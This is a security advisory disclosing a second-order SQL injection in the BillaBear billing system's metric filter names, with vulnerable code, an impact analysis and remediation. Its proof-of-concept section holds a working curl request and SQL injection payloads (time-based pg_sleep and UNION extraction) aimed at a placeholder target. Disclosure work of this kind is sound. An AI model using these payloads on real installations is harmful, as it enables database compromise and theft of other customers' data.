BillaBear's metric filter system directly interpolates user-controlled filter names into SQL queries using sprintf() without sanitization. While filter values are properly parameterized, filter names (column identifiers) are concatenated directly into SQL strings in EventRepository.php. An authenticated user with ROLE_ACCOUNT_MANAGER can inject malicious SQL through metric filter names, achieving full database compromise when usage calculations execute.
- Type: CWE-89 (SQL Injection)
- Affected Version:
2025.01.01,2025.01.02, and2025.01.03(latest GitHub release at time of disclosure; verified on2025.01.03) - Affected Component:
src/BillaBear/Repository/Usage/EventRepository.php - Attack Vector: Network (Remote)
- Authentication Required: Yes (ROLE_ACCOUNT_MANAGER or higher)
- Product: BillaBear - Subscription Billing & Management System
- Vendor: BillaBear Ltd (UK)
- Repository: https://github.com/billabear/billabear
- Website: https://billabear.com/ (Active commercial SaaS)
- Technology: PHP 8.x, Symfony Framework, PostgreSQL
User-controlled input from metric filter names and aggregation properties is directly interpolated into SQL queries using sprintf() without sanitization or parameterization. While filter values are properly bound as parameters, the filter names (column identifiers) are concatenated directly into the SQL string.
EventRepository.php - createCountSql() method (lines 320-350):
private function createCountSql(Customer $customer, Metric $metric, Subscription $subscription, \DateTime $dateTime): Result
{
$sql = 'SELECT COUNT(DISTINCT event_id) as count_val'.PHP_EOL
.'FROM event'.PHP_EOL
.'WHERE customer_id = :customerId'.PHP_EOL
.'AND metric_id = :metricId'.PHP_EOL
.'AND subscription_id = :subscriptionId'.PHP_EOL
.'AND created_at > TO_TIMESTAMP(:dateTime)'.PHP_EOL;
$filters = $metric->getFilters();
$counter = 1;
foreach ($filters as $filter) {
if (MetricFilterType::EXCLUSIVE === $filter->getType()) {
// VULNERABLE: $filter->getName() directly in sprintf()
$sql .= sprintf("AND (properties->>'%s' IS NULL OR properties->>'%s' != :filter%d)",
$filter->getName(), $filter->getName(), $counter).PHP_EOL;
} else {
// VULNERABLE: $filter->getName() directly in sprintf()
$sql .= sprintf("AND (properties->>'%s' IS NOT NULL AND properties->>'%s' = :filter%d)",
$filter->getName(), $filter->getName(), $counter).PHP_EOL;
}
++$counter;
}
// ... query execution
}EventRepository.php - createMaxSql() method (lines 405-420):
private function createMaxSql(Customer $customer, Metric $metric, Subscription $subscription, \DateTime $dateTime): Result
{
$sql = 'SELECT DISTINCT ON (event_id) customer_id, event_id, properties->>\'%s\'as value'.PHP_EOL
.'FROM event'.PHP_EOL
// ...
// VULNERABLE: aggregationProperty directly in sprintf()
$sql = sprintf($sql, $metric->getAggregationProperty());
// ...
}CreateMetricFilter.php - No sanitization on name field:
class CreateMetricFilter
{
#[Assert\NotBlank]
#[Assert\Type('string')]
private string $name; // NO regex validation, NO character restrictions
#[Assert\NotBlank]
#[Assert\Type('string')]
private string $value; // This IS properly parameterized
#[Assert\Choice(choices: ['inclusive', 'exclusive'])]
private string $type;
}- Authenticated user with
ROLE_ACCOUNT_MANAGERrole accesses/app/metricendpoint - Creates a metric with malicious filter name containing SQL injection payload
- Payload is stored in database (second-order injection)
- When any usage calculation runs (invoice generation, billing cycle, usage reports), the malicious SQL executes
- Attacker achieves database compromise
All methods in EventRepository.php that use filters:
createCountSql()- lines 320-370createSumSql()- lines 372-410createMaxSql()- lines 412-455createLatestSql()- lines 457-500createCountUnique()- lines 502-545
| Endpoint | Method | Description |
|---|---|---|
/app/metric |
POST | Create metric with malicious filter (injection point) |
/app/metric/{id}/update |
POST | Update metric with malicious filter |
| Invoice generation | Background | Triggers usage calculation |
| Billing cycle | Background | Triggers usage calculation |
| Usage reports | GET | Triggers usage calculation |
Step 1: Create malicious metric via API
curl -X POST "http://TARGET/app/metric" \
-H "Content-Type: application/json" \
-H "Cookie: PHPSESSID=<authenticated_session>" \
-d '{
"name": "Malicious Metric",
"code": "malicious_test",
"aggregation_method": "count",
"filters": [{
"name": "test'\'' OR 1=1; SELECT pg_sleep(5); --",
"value": "anything",
"type": "inclusive"
}]
}'Step 2: Trigger usage calculation The injection executes when any of these occur:
- Invoice is generated for a subscription using this metric
- Usage report is viewed
- Billing cycle processes subscriptions with this metric
Time-based blind injection test:
# Filter name payload for time-based detection:
"name": "x'); SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END; --"Data exfiltration payload:
# Extract database version:
"name": "x' UNION SELECT version()::text, NULL, NULL FROM pg_database LIMIT 1; --"-
Privilege Escalation: An Account Manager role can escalate to full database access, including:
- Admin user credentials (password hashes)
- Other customers' payment data and PII
- API keys and secrets
- System configuration data
This violates the intended access control boundary where Account Managers should only manage billing/subscriptions, not have raw database access.
-
Multi-Tenant Risk: In a SaaS deployment where customers are granted
ROLE_ACCOUNT_MANAGERfor their own organization:- A malicious customer could access OTHER organizations' data
- Complete tenant isolation bypass
- Cross-customer data exfiltration
-
Defense in Depth Failure: Even privileged internal users should not be able to execute arbitrary SQL. The principle of least privilege dictates that:
- Application roles should map to application-level permissions only
- No application user should have direct SQL execution capability
- Database access should be mediated entirely through parameterized queries
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (ROLE_ACCOUNT_MANAGER)
- User Interaction: None
- Scope: Unchanged
- Confidentiality: High
- Integrity: High
- Availability: High
// In CreateMetricFilter.php
#[Assert\NotBlank]
#[Assert\Type('string')]
#[Assert\Regex(pattern: '/^[a-zA-Z_][a-zA-Z0-9_]*$/', message: 'Filter name must be a valid identifier')]
private string $name;// In EventRepository.php
$quotedName = $this->connection->quoteIdentifier($filter->getName());
$sql .= sprintf("AND (properties->>%s IS NULL OR properties->>%s != :filter%d)",
$quotedName, $quotedName, $counter).PHP_EOL;$sql .= "AND (properties->>:filterName{$counter} IS NULL OR properties->>:filterName{$counter} != :filterValue{$counter})";
$query->bindValue("filterName{$counter}", $filter->getName());
$query->bindValue("filterValue{$counter}", $filter->getValue());- Discovery Date: 13 January 2026
- Vendor Contact: 13 January 2026
- Vendor Response: No response after initial contact
- Public Disclosure: 13 April 2026 (releases
2025.01.01,2025.01.02,2025.01.03)
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- PostgreSQL Identifier Quoting: https://www.postgresql.org/docs/current/sql-syntax-lexical.html